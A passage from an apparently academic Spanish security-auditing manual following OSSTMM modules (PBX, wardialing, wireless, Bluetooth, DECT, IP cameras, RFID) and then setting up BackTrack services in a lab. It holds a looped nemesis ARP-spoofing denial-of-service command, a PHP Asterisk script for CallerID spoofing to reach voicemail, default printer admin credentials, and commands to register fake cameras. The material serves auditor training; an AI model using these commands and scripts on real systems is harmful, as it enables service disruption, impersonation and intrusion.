la cual es falsa, por lo que no podrá comunicarse con él (ya que no existe).
Esto es solamente momentáneo, ya que como hemos dicho, los mensajes ARP van enviándose
periódicamente, por lo que en algún momento, le llegará un mensaje con la MAC del router
correcta. Una forma de asegurarnos de que esto no suceda, es inyectar paquetes como hemos hecho
hasta ahora, solo que dentro de un bucle:
C:\Némesis\>FOR /L %i IN (1,1,6500) DO nemesis arp -D 192.168.0.50
-S 192.168.0.1 -H 00:01:02:03:04:05
De esta forma, la máquina víctima estará bajo los efectos de un DoS mientras dure el bucle.
Página 47
Sección D – Seguridad en las Comunicaciones
1. Testeo de PBX
Un PBX(siglas en inglés de Private Branch Exchange) cuya traducción al español sería Central
secundaria privada automática, es cualquier central telefónica conectada directamente a la red
pública de teléfono por medio de líneas troncales para gestionar, además de las llamadas internas,
las entrantes y/o salientes con autonomía sobre cualquier otra central telefónica.
Visualmente, es como las antiguas centralitas que se veían en las películas, donde se le pedía por
teléfono a la operadora que te conectara con un número telefónico, y entonces podía establecerse la
comunicación para hablar(Figura 14: ).
Figura 14:
Existen muchas razones por las que se debería realizar una revisión concienzuda en este módulo:
• Los PBX y periféricos tienen largos tiempos de vida, por lo que no siempre están a la última.
Siendo así, muchos serán bastante antiguos, por lo que sus dispositivos de seguridad también
los son, por lo tanto, los hacen fáciles de manipular. Además, sus bases de datos internas
pueden estar sin codificar, y su estructura fácil de comprender.
• Existen pocas empresas que se dediquen a fabricarlas, por lo que conociendo un par,
conoces el 70% del mercado.
• La gente que maneja las PBX no suelen estar concienciados de medidas de seguridad, por lo
que muchas veces, hasta las funciones más obvias de seguridad, muchas veces no están
presentes.
• La mayoría de veces están gestionados remotamente, por lo que es fácil para los hackers
encontrar estos puntos de acceso.
• Las actualizaciones de software de los PBX se suelen hacer remotamente, por lo que es
posible interceptarlas y corromperlas, introduciendo caballos de Troya
Página 48
• El mantenimiento remoto por parte de los proveedores significa que las contraseñas y mucha
de la información pueden encontrarse fácilmente fuera de la empresa (por ejemplo, estar
disponible en algún manual en alguna página web).
• Muchas veces es utilizado por todo el mundo, no solamente gente cualificada, por lo que
hace que sea más susceptible a la ingeniería social (por ejemplo, engañando para que les den
la contraseña).
• Suele estar instalado en lugares poco utilizados, como en algún almacén poco transitado, por
lo que hace que sea fácil de acercarse y manipularlo.
• Los PBX son extremadamente complicados, por lo que es muy difícil de garantizar la
seguridad de cada característica que ofrece por separado, por lo que es muy posible que un
hacker se prepare a fondo un tipo de penetración, y superar al encargado, ya que este tiene
una visión más general del mismo.
El comprometer la PBX significa, que un atacante pueda además, obtener información privilegiada
de la empresa, llamar en su nombre, y un largo etc.
Existen multitud de formas de acceder a los mensajes guardados en el buzón de voz personal,
siendo la más común (para particulares), el descolgar el teléfono, y esperar a acceder al buzón de
voz. Esta forma de autenticarse, se realiza mediante la CallerId. En otros, se suele marcar un
número de teléfono (dependerá de la PBX que proporcione el servicio) e introducir una contraseña.
Esto suele ser más común en empresas, o para poder acceder a los buzones de voz de forma remota.
A modo de ejemplo de comprometer la seguridad basada en el CallerID, se va a mostrar un trozo de
código que utiliza la técnica de CallerID Spoofing:
#!/asterisk/php/bin/php -q
<?
set_time_limit(30); //para que no se agote el tiempo del script
require(’phpagi.php’); // incluye phpagi class
error_reporting(E_ALL); // limitar los errores
$agi = new AGI(); // instanciar la clase AGI
$agi->answer(); // contestar el teléfono
Página 49
sleep(2); // esperar 2 segundos
$agi->stream_file(’enter_spoof’); // reproducir un wav que dice
enter the number
$result = $agi->get_data(’beep’, 3000, 10); // suena beep y coge
los 10 números
$agi->verbose(”Number to call:”.$result['result']); //muestra
información para saber que está sucediendo
$agi->set_callerid($result['result']); // pone el CallerID en el
número que estás marcando
$agi->exec(”Dial IAX2/iax-provider/1″.$result['result']); //llama
al número
?>
Como vemos, de la misma forma que Asterisk puede utilizarse como PBX, aquí podemos utilizarlo
para fines maliciosos, y por tanto, también para saber como funcionan las herramientas de gente con
intenciones fraudulentas.
Página 50
También sucede que, cualquiera puede ver los parámetros de configuración (dirección IP, nombre
del servidor de correo, etc..), aunque el administrador no permita que los usuarios cambien los
mismos, lo cual, sigue siendo útil para el usuario malintencionado. Aún así, es poco común que los
encargados de éstas máquinas se preocupen de de denegarlo vía el navegador web el FTP y telnet
(muchos de los usuarios ni siquiera sabrán que es telnet). Siendo así, cualquiera puede cambiar las
direcciones IP, las mascaras de red, o la puerta de acceso de la impresora para deshabilitarlo, o
incluso crearse una forma de evadir firewalls, por ejemplo.
Otro punto interesante, es la gran capacidad de almacenaje que tienen, pues almacenan todo lo que
se va imprimiendo, escaneando, emails etc...
Por último, comentar algunos ejemplos de fallos encontrados en el modelo de Imagistics DL370:
1.Contiene 3 cuentas administrativas y contraseñas. Para consola, navegador web y telnet. La
consola no está activada por defecto. Las 3 cuentas tienen por defecto el login/contraseña como:
adm/adm, aunque cada proveedor es posible que cambie esto antes de instalarlo.
2.Las funciones de administración requieren una contraseña, aunque una vez introducida la
contraseña se almacena en la URL en texto sin cifrar, y puede ser recuperado fácilmente.
3.Si se guardan los parámetros de configuración en el disco duro, y abres el fichero .bin con algún
editor de texto, aparece también la contraseña del admin, y solo se necesita permiso de usuario para
leerlo.
4.No puede deshabilitarse la función del navegador web para la administración, por lo que los fallos
2 y 3 siempre estarán disponibles.
4. Testeo de Módems
La técnica más importante que se utiliza para comprometer la seguridad de los módems, es la
conocida como wardialing:
Wardialing fue una técnica utilizada principalmente en las décadas de los 80 y 90, cuando los
módems de marcación por tonos eran la forma más común de conexión a internet. Consistía
principalmente en hacer llamadas a una serie de números de teléfono automáticamente con el fin de
encontrar módems conectados que permitieran la conexión con algún ordenador. El término toma su
nombre de una película llamada Wargames, donde los protagonistas utilizaban una técnica conocida
hasta entonces como daemon dialing, y la llamaban wardialing. A partir de entonces, pasó a
llamarse wardialing, y es la que se emplea actualmente.
Con la llegada de las nuevas tecnologías, unas herramientas quedan desfasadas, y otras aparecen, y
dentro del wardialing, aparece una herramienta novedosa: WarVox(Figura 15: ).
Figura 15:
Ésta es una herramienta actual que permite, mediante VoIP, realizar una identificación o
clasificación de líneas de teléfono que expongan servicios a datos.
Página 51
VoIP es en realidad un amalgama de protocolos destinados a transmitir telefonía tradicional por
medio de redes de datos. La práctica totalidad de los protocolos de VoIP existentes (h.323, SIP,
IAX, SS7oIP, etc.) diferencian claramente la información de señalización (información de control
de datos, por ejemplo pulsar el número 7, nueva llamada, etc), de la información “de voz” o sonido.
En VoIP, los codecs que se emplean tienen como meta, el reducir al máximo el ancho de banda
necesario para transmitir la llamada, permitiendo realizar el mayor número de llamadas
concurrentes, a diferencia de las llamadas tradicionales de telefonía digital.
Por ejemplo, en telefonía digital tradicional, un primario EuroISDN E-1 dispone de 30 canales de
64kb/s cada uno, lo cual permite la transmisión de 30 llamadas concurrentes. Sin embargo, el
mismo primario puede ser configurado para la transmisión de datos mediante protocolo TCP/IP, en
cuyo caso el primario ofrece un ancho de banda total de 2Mb/s. Sobre este canal de 2Mb/s el
operador puede, utilizando VoIP cursar con facilidad más de 80 llamadas concurrentes . Esto es
posible porque los codecs de VoIP están diseñados para limpiar, normalizar y simplificar el sonido
antes de comprimirlo. Además, se realiza una compresión con pérdidas, ya que lo único que se
busca, es que la información de habla que intercambian dos personas sea comprensible.
Sin embargo, el empleo de estos codecs tan eficientes, presenta un grave problema cuando se
pretende realizar un wardialing. O de forma más generalista, presentan un grave problema cuando
se pretenden transmitir datos como parte del sonido de una llamada VoIP, pues estos codecs son
generalmente incompatibles con la forma en la cual un módem tradicional codifica la información
para su transmisión.
Después de esta introducción, es donde entra WarVox, una herramienta que nos ayudará en una de
las fases mas tediosas del wardialing: la identificación de objetivos:
Como paso previo en el wardialing, lo normal, es realizar una batería automatizada de llamadas a
todos los números de teléfono a investigar para identificar en que líneas hay algún tipo de “servicio
de datos” y cuáles son líneas de Voz. Sin embargo, muchas veces el rango de números de teléfono
que suelen proporcionar algunas compañías suele ser bastante extenso. Además, es posible que
estén distribuidos muy lejanamente entre sí, en distintas ciudades, comunidades autónomas, o
incluso países, por lo que el coste económico y temporal de realizar esto a mano, suele ser
imposible. Y he aquí el problema que WarVox intenta solucionar: permitir reducir el tiempo y coste
necesario para realizar la identificación y clasificación de los números de teléfono a investigar.
Empleando la VoIP que los operadores de telefonía ofrecen, a través de internet, de forma que
podamos reducir el coste y llamadas concurrentes (tal y como hemos explicado anteriormente).
Página 52
Figura 16:
Con WarVox, podemos introducir una lista (o una serie de rangos) a analizar, para que la
herramienta llame a dichos números por medio de VoIP y nos proporcione una lista reducida de
números “interesantes” sobre los cuales profundizar en un análisis más manual. Esto suele ser
común en muchas de las formas de trabajar de los auditores, comenzar el análisis de uno de los
módulos mediante la automatización antes de pasar al modo manual. Y no solo hablando de
herramientas informáticas que lo realicen, sino también mediante el uso de scripts que hacen que los
propios programas puedan trabajar en los aspectos más tediosos y largos, y que los propios
auditores puedan dedicar su reducido tiempo a otros aspectos que no es posible automatizar.
Página 53
dedican mucho tiempo. Es mejor dedicar el escaso tiempo del que suele disponerse para recorrer el
resto de módulos de la metodología.
En este módulo, lo que se suele explorar, es la radiación emitida por los distintos dispositivos de los
que dispone una empresa. Existen dispositivos, que son capaces de detectar desde una cierta
distancia, la radiación que emite una pantalla de ordenador, por ejemplo, y mostrar las imágenes en
otra pantalla. De esta forma, no es necesario tener contacto visual con la pantalla. También es
posible recoger radiación de impresoras, módems, teléfonos móviles y tratar de mostrar lo que han
recogido, o están transmitiendo, aunque muchas veces, aparece demasiado ruido como para que
pueda entenderse, o simplemente utilizando coberturas metálicas (en bases militares de EEUU
utilizan equipamiento especialmente diseñado contra estas fugas de información, catalogados como
Tempest). También es posible reducir las probabilidades de ser detectado, utilizando
configuraciones de pantalla con bajo contraste, o emitir ruido blanco (la típica niebla de la
televisión es ruido blanco) para que los receptores no sean capaces de distinguirlo de la señal
original.
Antes de empezar un test de penetración contra una red wireless, es importante entender que las
vulnerabilidades asociadas con las WLANs. El estándar 802.11 fue desarrollado como un estándar
abierto, es decir, que la facilidad de acceso y conexión fueron sus principales objetivos. Sin
embargo, la seguridad no fue una de sus prioridades, y los mecanismos de seguridad que se
desarrollaron fueron pensados más adelante, casi a modo de parche. Cuando la seguridad no es
introducida como parte del mismo concepto de desarrollo, suele ocurrir que no ofrecen una
solución robusta, por lo que en las redes Wireless, éste es un asunto bastante preocupante. Es por
esto, por lo que muchas veces, debemos preguntarnos ¿es realmente necesario utilizar wireless en
lugar de cable? ¿Es realmente necesario tener tanto alcance, o podemos reducirlo?
Existen dos tipos básicos de vulnerabilidades en WLAN: las que son resultado de una mala
configuración, y las vulnerabilidades por mala codificación (igual que cuando hablábamos de las
contraseñas).
Los problemas de configuración son las responsables de muchas vulnerabilidades asociadas con
WLANs. Esto es porque las redes wireless son fáciles de instalar, y muchas veces se despliegan con
protecciones pobres o inexistentes. Una WLAN abierta, una que esté con la configuración por
defecto, requiere casi nada de trabajo para un penetration tester. Simplemente configurando el
adaptador WLAN para asociarse con redes abiertas, permite el acceso a las mismas. Una situación
similar existe cuando se utilizan medidas de seguridad inadecuadas. Las WLANs muchas veces se
instalan por mandos superiores, y se requiere rapidez, por lo que los administradores simplemente
ocultan los puntos de acceso y/o habilita el filtro por dirección MAC.
Ninguna de estas medidas provee una seguridad real, y un tester puede deshacerse de ellas
fácilmente.
Cuando un administrador instala la WLAN con uno de los mecanismos de codificación disponibles,
Página 54
un tester puede muchas veces introducirse también en la red, gracias a las vulnerabilidades
inherentes a la codificación utilizada. Tanto WEP como WPA (Wi-Fi Protected Access) son
vulnerables a ataques de diccionario offline, con WPA siendo objetivo de cada vez ataques más
rápidos en el año pasado.
Bluetooth, es una especificación industrial para Redes Inalámbricas de Área Personal (WPANs)
que posibilita la transmisión de voz y datos entre diferentes dispositivos mediante un enlace por
radiofrecuencia segura y globalmente libre (2,4 GHz.). Los principales objetivos que se pretenden
conseguir con esta norma son:
Los dispositivos que con mayor intensidad utilizan esta tecnología pertenecen a sectores de las
telecomunicaciones y la informática personal, como PDA, teléfonos móviles, ordenadores
portátiles, ordenadores personales, impresoras o cámaras digitales.
Este módulo de la OSSTMM, se encarga principalmente de comprobar las redes conocidas como
piconets :
Una piconet puede constar de dos a ocho dispositivos unidos por Bluetooth. En una piconet, habrá
siempre un maestro y los demás serán esclavos.
El periférico como maestro:
Página 55
•Se encarga de escoger el hop adecuado para mantener el enlace.
•Establece conexiones en las que un paquete de datos ocupa una ranura para la emisión y otro para
la recepción que pueden ser usados alternativamente, dando lugar a un esquema de tipo TDD (Time
Division Duplex).
•La secuencia única de salto de frecuencia del canal está determinado por la identidad del maestro
de la piconet (un código único para cada equipo), y por su frecuencia de reloj. Para que una unidad
esclava pueda sincronizarse con una unidad maestra, ésta debe añadir un ajuste a su propio reloj
nativo y así poder compartir la misma portadora de salto.
Mucha gente no es consciente de la seguridad en, por ejemplo sus teléfonos móviles. Siempre que
piensan en seguridad de las tecnologías de la información, piensan únicamente en sus ordenadores
personales, pero dentro de los teléfonos, se puede encontrar montones de información personal o
confidencial (sobre todo si es el teléfono de algún ejecutivo).
Una herramienta interesante, es Super Bluetooth Hack, una herramienta Java para teléfonos
Ericsson y Nokia. Entre otras acciones disponibles para realizar contra un teléfono remoto, incluye:
Cabe notar, que se necesita que el teléfono remoto nos de permiso para emparejar los teléfonos. Sin
embargo, esto puede no ser demasiado dificil utilizando alguna técnica de ingeniería social.
•Blooover: herramienta que funciona sobre teléfonos con J2ME habilitado. Es una herramienta de
auditoría que puede ser utilizado para comprobar si sus teléfonos son vulnerables
•BlueBug: BlueBug es el nombre de un agujero de seguridad en algunos teléfonos móviles con
Bluetooth. Explotando este agujero, permite descargar agendas de contacto y listas de llamadas
enviando mensajes SMS al teléfono atacado entre otras cosas.
•BlueFish: es un sistema de vigilancia que busca la presencia de dispositivos Bluetooth y sus
usuarios. BlueFish escanea constantemente en busca de dispositivos con Bluetooth activado.
Cuando encuentra un nuevo dispositivo, el programa saca una captura del área donde fue localizado
el dispositivo, y cataloga toda la información disponible del dispositivo. Si vuelve a encontrar
alguna vez ese mismo dispositivo, se le enviará la última imagen capturada del mismo mediante
Bluetooth. Todas las imágenes son marcadas con el nombre del dispositivo y la hora cuando fue
observado por última vez. Según va pasando el tiempo, se construye un perfil de cada dispositivo,
de forma que es posible hacerse una idea de las costumbres de la persona que frecuenta el lugar.
Página 56
•Bluetooth Phone Book Dumper: crea una copia de seguridad del Nokia 6310 vía Bluetooth.
También funciona en algunos móviles Ericsson. Los datos se escriben en formato XML estándar.
No es necesario introducir ningún dato del objetivo ni emparejamiento, simplemente utiliza
comandos GSM AT a través de conexiones RFCOMM (Logical Link Control and Adaptation
Protocol o en español: Protocolo de control y adaptación del enlace lógico).
•FreeJack: la principal aplicación de este programa es el enviar mensajes anónimos a dispositivos
con Bluetooth activado dentro de su rango
Como vemos, es un campo bastante estudiado (y por lo tanto, también por parte de hackers
malintencionados), por lo que siempre es aconsejable mantener los teléfonos móviles actualizados,
y no activar Bluetooth mas que en los momentos que sea necesario.
Alguna vez ha sucedido que, trabajando con dos ordenadores adyacentes, sus ratones inalámbricos
ha interferido el uno con el otro, de forma que trabajando con uno de ellos, el puntero de la pantalla
del otro ordenador también se movía. Esto suele suceder en alguna ocasión, generalmente con
modelos de la misma marca y/o modelo. Lo mismo ocurre con los teclados, que pulsando una tecla,
aparecen los caracteres en ambos monitores. Sucede, que interfieren el uno con el otro, y puede
solucionarse sincronizando uno de ellos para que deje de interferir. Sin embargo, esto puede llamar
la atención a algún experto en seguridad (ya sea auditor o hacker malintencionado).
A finales de 2007, se hizo público el hallazgo de dos investigadores de una compañía suiza llamada
Dreamlab Technologies. Según sus afirmaciones, los teclados inalámbricos Microsoft codifican de
una forma tan débil la información que envían que es posible no sólo ver y almacenar en tiempo
real cada tecla que fue presionada, sino también interferir en la comunicación y emular a uno de
estos teclados, enviando caracteres en su nombre.
Estos teclados, que suelen trabajar a una frecuencia de radio de 27 MGHz, envían durante el
proceso de emparejamiento la clave con la que van luego a cifrar toda la comunicación en plano y al
descubierto, de forma tal que si se tiene la oportunidad de captar este proceso ni siquiera hace falta
descifrar nada. Y si no es así, no importa; la codificación se realiza mediante una simple operación
XOR, y la clave generada al azar en cada emparejamiento sólo varía en un byte, por lo que sólo hay
256 combinaciones posibles para probar.
Los investigadores fueron capaces de capturar las teclas que se presionan en varios teclados
simultáneamente, en un radio de 10 metros, ya sea en el mismo cuarto o desde otra habitación, pero
señalan que utilizando antenas direccionales el alcance puede extenderse fácilmente.
Por lo tanto, y a pesar de la comodidad que nos puedan ofrecer los medios inalámbricos dentro del
ámbito de los periféricos de entrada del ordenador, lo más seguro es utilizar el cable. No obstante,
Página 57
realizar la operación de captura de lo que se escribe en un teclado, es una operación difícil que
pueden hacer unos pocos, por lo que no debemos preocuparnos a nivel de usuario. Ni siquiera a
nivel de empresa (depende de qué empresa), puesto que todos sabemos, que siempre podemos
encerrarnos en un búnker a trabajar (y esto probablemente tampoco fuera 100% seguro), pero hay
que encontrar un equilibrio entre la seguridad y la funcionalidad.
•Todas las vulnerabilidades que existen para las redes cableadas tradicionales se aplican también a
las inalámbricas.
•Puede ganarse acceso no autorizado a la red a través de conexiones inalámbricas eludiendo las
protecciones del firewall.
•La información que no sea codificada (o que es pobremente codificada) puede ser interceptada
entre dos dispositivos inalámbricos y leída.
•Pueden dirigirse ataques de denegación de servicio contra conexiones o dispositivos inalámbricos.
•Puede suplantarse la identidad de usuarios legítimos en redes internas o externas corporativas.
•Datos importantes pueden corromperse durante una sincronización incorrecta.
•Es posible que pueda violarse la privacidad de los usuarios legítimos y ser capaces de seguir sus
movimientos.
•Es posible instalar equipamiento no autorizado (por ejemplo, equipos de visitantes) para ganar
acceso a información privada.
•Los dispositivos de mano puede ser fácilmente robados y pueden revelar información confidencial.
•Pueden extraerse datos sin que sea detectado de dispositivos mal configurados.
•Los virus, u otros códigos maliciosos pueden corromper los datos de un dispositivo inalámbrico y
después, introducirse en una red cableada.
•Los virus u otros códigos maliciosos pueden a través de conexiones inalámbricas conectar con
otras compañías u organizaciones, siendo estas últimas el objetivo de su ataque, de forma que sea
más difícil de detectarse.
•Los intrusos pueden ganar conectividad a la red desde fuera o dentro del edificio donde esté la red,
o ganar, incluso, control de administración de las redes y sabotear las conexiones.
•Puede realizarse ataques internos vía transmisiones ad-hoc.
Página 58
de la red de ordenadores. Sin embargo... ¿que precio tiene el poder escuchar conversaciones
telefónicas de los competidores, por ejemplo? Concretamente, se ha conseguido hacer con 23€:
El sistema DECT (patentado en España en 1993 para ser utilizado en Europa) es utilizado para
comunicaciones sin cables de voz y datos de forma segura en distancias cortas. Algunas de sus
aplicaciones son la comunicación de teléfonos inalámbricos con sus estaciones base, aunque existen
más, como la apertura de puertas de garaje entre otras.
Siendo el protocolo públicos, hay dos aspectos que no lo son y solo los fabricantes tienen acceso a
los mismos: El algoritmo de autenticación DASS y el sistema de cifrado DSC.
El algoritmo DASS ha sido descifrado mediante ingeniería inversa, y como muchos teléfonos
DECT no llevan habilitada la codificación DSC, es posible capturar el audio o suplantar la estación
base donde se conecta el teléfono.
Ahora deDECTed.org ha anunciado que en los próximos días publicará una implementación en C de
la codificación DSC, que ha sido posible desarrollar gracias a la ingeniería inversa de hardware.
Actualmente se cree que hay 30 millones de teléfonos que utilizan DECT en Alemania, por lo que
estaríamos ante un grave problema de privacidad.
Muchos de las soluciones implementadas para videovigilancia basadas en IP, están basadas en
protocolos de descubrimiento básicos, como mdNS y UpnP. Ambos, trabajan con direcciones
multicast, por lo que es posible falsificar tantas cámaras como queramos.
De hecho, existen por la red scripts como register.py
(http://www.gnucitizen.org/static/blog/2008/01/register.py) que registran una cámara del modelo
AXIS206 en el sistema, mientras que el script server.py
(http://www.gnucitizen.org/static/blog/2008/01/server.py) envía un stream de video en MJPEG.
Para usarlos:
Página 59
register.py [dirección MAC aquí] &
server.py http://152.1.130.216/mjpg/video.mjpg # MJP video stream
Podemos registrar tantas cámaras como queramos, de tal forma que simplemente se pueda causar
caos, o hacer creer a los vigilantes que las cámaras estén mal situadas.
Como último dato a resaltar, es el comentar que existen empresas que fabrican dispositivos que
escanean en busca de cámaras automáticamente(Figura 17: )
Figura 17:
9. Testeo de RFID
RFID (siglas de Radio Frequency Identification o identificación por radiofrecuencia) es un sistema
de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas,
Página 60
transpondedores o tags (o etiquetas) RFID.
Figura 18:
Figura 19:
Las etiquetas RFID se basan en la emisión de unos pocos bits de información a lectores electrónicos
especializados. La mayoría de los chips RFID comerciales son emisores pasivos, lo cual significa
que no llevan alimentación (como batería o pilas): envían una señal solamente cuando las ondas
recibidas los alimentan con un “chorro” de electrones. Una vez alimentados, emiten su señal
indiscriminadamente dentro de un cierto rango, normalmente de entre unos pocos centímetros a un
par de metros. Los emisores activos, con alimentación interna, pueden enviar señales a cientos de
Página 61
metros; estos son utilizados en, por ejemplo, algunos pagos de peaje automatizados de EEUU.
Como medida de seguridad, las señales RFID pueden ser cifrados. Estos chips, que probablemente
acaben siendo implantados en documentos de identidad, por ejemplo, son los candidatos ideales
para ser codificados, y haciendo que sea más difícil para los lectores no autorizados recavar
información. Pero los RFID comerciales (refiriéndonos por comerciales a los de los
supermercados), no incluyen cifrados, ya que suele ser bastante caro: un chip RFID cifrado cuesta
alrededor de 5$, lo cual no lo hace rentable muchas veces.
Esto hace, que la mayoría de los RFID sean vulnerables a su clonación, o si el chip tiene áreas de
memoria que permitan escritura, el insertarle datos. Siendo así, se permitiría el cambiar precios, por
ejemplo, una opción muy atractiva para delincuentes.
Infrared Data Association (IrDA) define un estándar físico en la forma de transmisión y recepción
de datos por rayos infrarrojo. IrDA se crea en 1993 entre HP, IBM, Sharp y otros.
Esta tecnología está basada en rayos luminosos que se mueven en el espectro infrarrojo. Los
estándares IrDA soportan una amplia gama de dispositivos eléctricos, informáticos y de
comunicaciones, permite la comunicación bidireccional entre dos extremos a velocidades que
oscilan entre los 9.600 bps y los 4 Mbps. Esta tecnología se encuentra en muchos ordenadores
portátiles, y en un creciente número de teléfonos celulares, sobre todo en los de fabricantes líderes
como Nokia y Ericsson.
El FIR (Fast Infrared) se encuentra en estudio, con unas velocidades teóricas de hasta 16 Mbps.
En cuanto aspectos de seguridad, ofrece cada vez menos y menos atractivo desde el punto de vista
de un atacante. Con la aparición de nuevas tecnologías como Bluetooth, wireless etc... los
dispositivos que utilizan infrarrojos van disminuyendo. Además, se encuentran limitados por el
espacio y los obstáculos. El hecho de que la longitud de onda de los rayos infrarrojos sea tan
pequeña (850-900 nm), hace que no pueda propagarse de la misma forma en que lo hacen las
señales de radio, por lo que un atacante necesitaría estar muy cerca, y siendo así, probablemente le
sea más útil realizar el ataque por otros medios, ya que dispone de acceso físico al dispositivo.
Existen redes infrarrojas que suelen estar dirigidas a oficinas o plantas de oficinas de reducido
tamaño. Algunas empresas, van un poco más allá, transmitiendo datos de un edificio a otro
mediante la colocación de antenas en las ventanas de cada edificio, aunque esto está cada vez
menos extendido.
Como ejemplos de qué se puede realizar desde el punto de vista de un atacante:
Controlar televisiones u otros dispositivos que utilicen infrarrojos como mando a distancia. Quizás
podría utilizarse como forma de denegación de servicio, o distraer a un posible vigilante.
Página 62
Cambiar semáforos a verde. Algunos semáforos son manejados por infrarrojos, por lo que es
posible manejarlos. Existen manuales por la red para construir dispositivos que realicen esto. Basta
con teclear en cualquier buscador MIRT, e incluso lo venden en algunas web.
Algunas puertas de garaje antiguas solían funcionar por infrarrojos, pero hoy en día la gran mayoría
funcionan por radiofrecuencia.
Por lo que vemos, que las implicaciones no son demasiadas debido al avance de las tecnologías (ya
que las tecnologías inalámbricas favoritas son radiofrecuencia), pero debemos realizar algunas
comprobaciones mínimas para poder evitar algún susto.
1. Revisión de Perímetro
En este módulo se revisan todas las medidas de seguridad que existen para proteger los límites de la
organización y sus activos. Se revisan medidas de protección tales como vallas, luces, muros etc...
2. Revisión de Monitorización
En este módulo se revisan dispositivos de monitorización de los puntos de acceso. Mas que la
revisión de los propios dispositivos, se busca el comprobar que lugares están monitorizados, si los
dispositivos están correctamente situados. Es decir, si hay lugares sin vigilar, otros demasiado
vigilados etc...
5. Revisión de Localización
Éste es un método de ganar acceso a una organización a través de las debilidades de su localización
y protección de elementos externos. Por ejemplo, comprobar líneas de visión que existen hasta la
Página 63
organización, posibles lugares desde los que es posible escuchar dentro de la organización (por
ejemplo escuchas láser), horas de luz solar, clima etc... Es decir, se trata de revisar condiciones
externas a la propia organización, y que pudieran afectar a su seguridad según donde se encuentra la
empresa.
Página 64
Parte 2: Conceptos Técnicos
Página 65
Introducción
La finalidad de esta parte técnica del documento, es tratar de ver, y estudiar, un conjunto de
herramientas software de uso en las auditorías de seguridad informática.
Se presentarán, divididos en dos partes, distintos puntos de vista para poder aplicar las herramientas
que se van a estudiar, enfocado hacia el aprendizaje de las mismas por parte del lector. Así mismo,
se presentan también junto con los problemas y observaciones encontradas durante el estudio del
autor.
Como primera parte, se estudiará la Backtrack, junto con algunas herramientas que contiene. Será
una primera parte de aprendizaje de herramientas, siguiendo un orden lógico para comprender su
aprendizaje, aunque sin una relación causal entre ellas.
La segunda parte, será introducir un caso práctico en el que poder utilizar herramientas de seguridad
con un objetivo en mente: obtener el control del sistema. Por lo tanto, se irán presentando las
herramientas en un orden causal (siguiendo las necesidades que vayan apareciendo para cumplir el
objetivo), e introduciendo valoraciones y aportaciones personales del autor.
A continuación, se presenta ya la primera parte: La distribución Backtrack.
Página 66
programa que contenía la red emulada con la que se va a realizar las pruebas, está en el formato .iso,
y nos falta un entorno de ejecución, es decir, la máquina virtual VMWare. VMWare Player no nos
permite la creación de máquinas virtuales, por lo que se estuvo estudiando la posibilidad de buscar
entre técnicos de laboratorio de la facultad de informática, o algún conocido que pudiera crear la
máquina virtual para asociarle la iso (de forma legal). Finalmente se encontró una solución, que
describo a continuación:
En los archivos .vmx de las máquinas virtuales para VMWare, viene especificado en texto plano, la
configuración de la máquina virtual. El siguiente extracto, es parte de una máquina virtual
cualquiera, en el que se ha modificado la línea donde viene especificada la iso que he modificado a
mano para poder utilizar la iso descargada:
.encoding = "UTF-8"
# VM Machine Info
guestOS = "linux"
displayName = "Linux"
config.version = "7"
memsize = "128"
# CDROM Info
ide1:0.present = "TRUE"
ide1:0.fileName = "Lab_Virtual_Labs.DragonJAR.iso"
ide1:0.deviceType = "cdrom-image"
Al ejecutar VMWare Player, elegimos cargar una máquina virtual existente, seleccionando el .vmx
que acabábamos de modificar, cargándose perfectamente.
Tras esto, solo nos queda descargarnos una máquina virtual de la web oficial de Backtrack 3 (http://
www.remote-exploit.org/backtrack.html).
Una vez descargada, solamente queda el cargar la máquina virtual con VMWare, que funcionó sin
problemas.
Por último, se ha cambiado el tipo la configuración de red de las máquinas virtuales para que
utilicen NAT, creando así una “intranet”, para que puedan comunicarse unas con otras, y además,
puedan comunicarse con el exterior.
Página 67
así porque vienen a ser servicios que o bien son populares en la red actual, o bien porque ofrecen
bastante utilidad al auditor. Pasamos pues, a describirlas a continuación:
#sshd-generate
Generating public/private rsa1 key pair.
Your identification has been saved in /etc/ssh/ssh_host_key.
Your public key has been saved in /etc/ssh/ssh_host_key.pub.
The key fingerprint is:
df:2e:7b:0c:af:34:75:ed:bb:ba:37:e0:b0:21:7c:15 root@bt
Generating public/private rsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_rsa_key.
Your public key has been saved in /etc/ssh/ssh_host_rsa_key.pub.
The key fingerprint is:
f6:19:15:65:84:26:87:bd:e8:de:1b:03:e8:d3:5f:00 root@bt
Generating public/private dsa key pair.
Your identification has been saved in /etc/ssh/ssh_host_dsa_key.
Your public key has been saved in /etc/ssh/ssh_host_dsa_key.pub.
The key fingerprint is:
dc:f4:cf:6f:09:68:eb:5b:c8:b6:ae:10:c5:c2:69:71 root@bt
Página 68
hola
Como vemos, funciona correctamente. Es una forma sencilla de poder conectarnos a Backtrack
cuando queramos trabajar desde él, a través de una shell de la máquina local.
El siguiente servicio a probar, será un servidor Web, uno de los servicios desde los cuales las
empresas se comunican con el exterior:
Servidor Web
Uno de los servicores webs más utilizados a lo largo de la red, es el Apache. Es bien conocido, ya
que es libre, y suele ser bastante robusto. Por lo tanto, será un buen ejemplo para aprender a ponerlo
en marcha, y poder practicar, y un buen ejemplo de servicio básico de Bactrack.
Para ponerlo en marcha, ejecutamos:
bt ~ # apachectl start
httpd: Could not reliably determine the server's fully qualified
domain name, using 127.0.0.1 for ServerName
bt ~ # netstat -ant|grep 80
tcp 0 0 192.168.197.129:80 0.0.0.0:*
LISTEN
Aquí, vemos como hemos ejecutado el apache y la respuesta que obtenemos. Parece que nos
devuelve un error, pero es normal obtenerlo. Como no tenemos configurado un dominio para el
Apache, éste no es capaz de encontrarlo, y dice que estará en 127.0.0.1 (la loop ip). Para comprobar
que el servicio está en marcha, entramos en nuestro navegador web favorito, introducimos la ip de
la máquina virtual de la Backtrack, y comprobamos que el servidor web está corriendo (Figura 20:
):
Figura 20:
Tenemos ante nosotros, una página web que ofrece Apache por defecto, para que podamos ver que
efectivamente el servicio está en marcha, y funcionando correctamente.
Servidor atftpd
El siguiente servicio a probar, es el atftpd, que es el servidor que incluye backtrack 3 para TFTP
(Trivial File Transfer Protocol). Vamos a ejecutar el daemon, y dejarlo escuchando en el puerto 69:
bt / # atftpd --daemon --port 69 /tmp/
Página 69
bt / # netstat -anu | grep 69
udp 0 0 0.0.0.0:69 0.0.0.0:*
Para comprobar que funciona, en la máquina de Bactrack, ponemos un archivo, por ejemplo:
bt tmp # echo hola> hola.txt
Y ahora, desde nuestra máquina local, instalamos el tftp (el cliente) si no lo tenemos. En nuestro
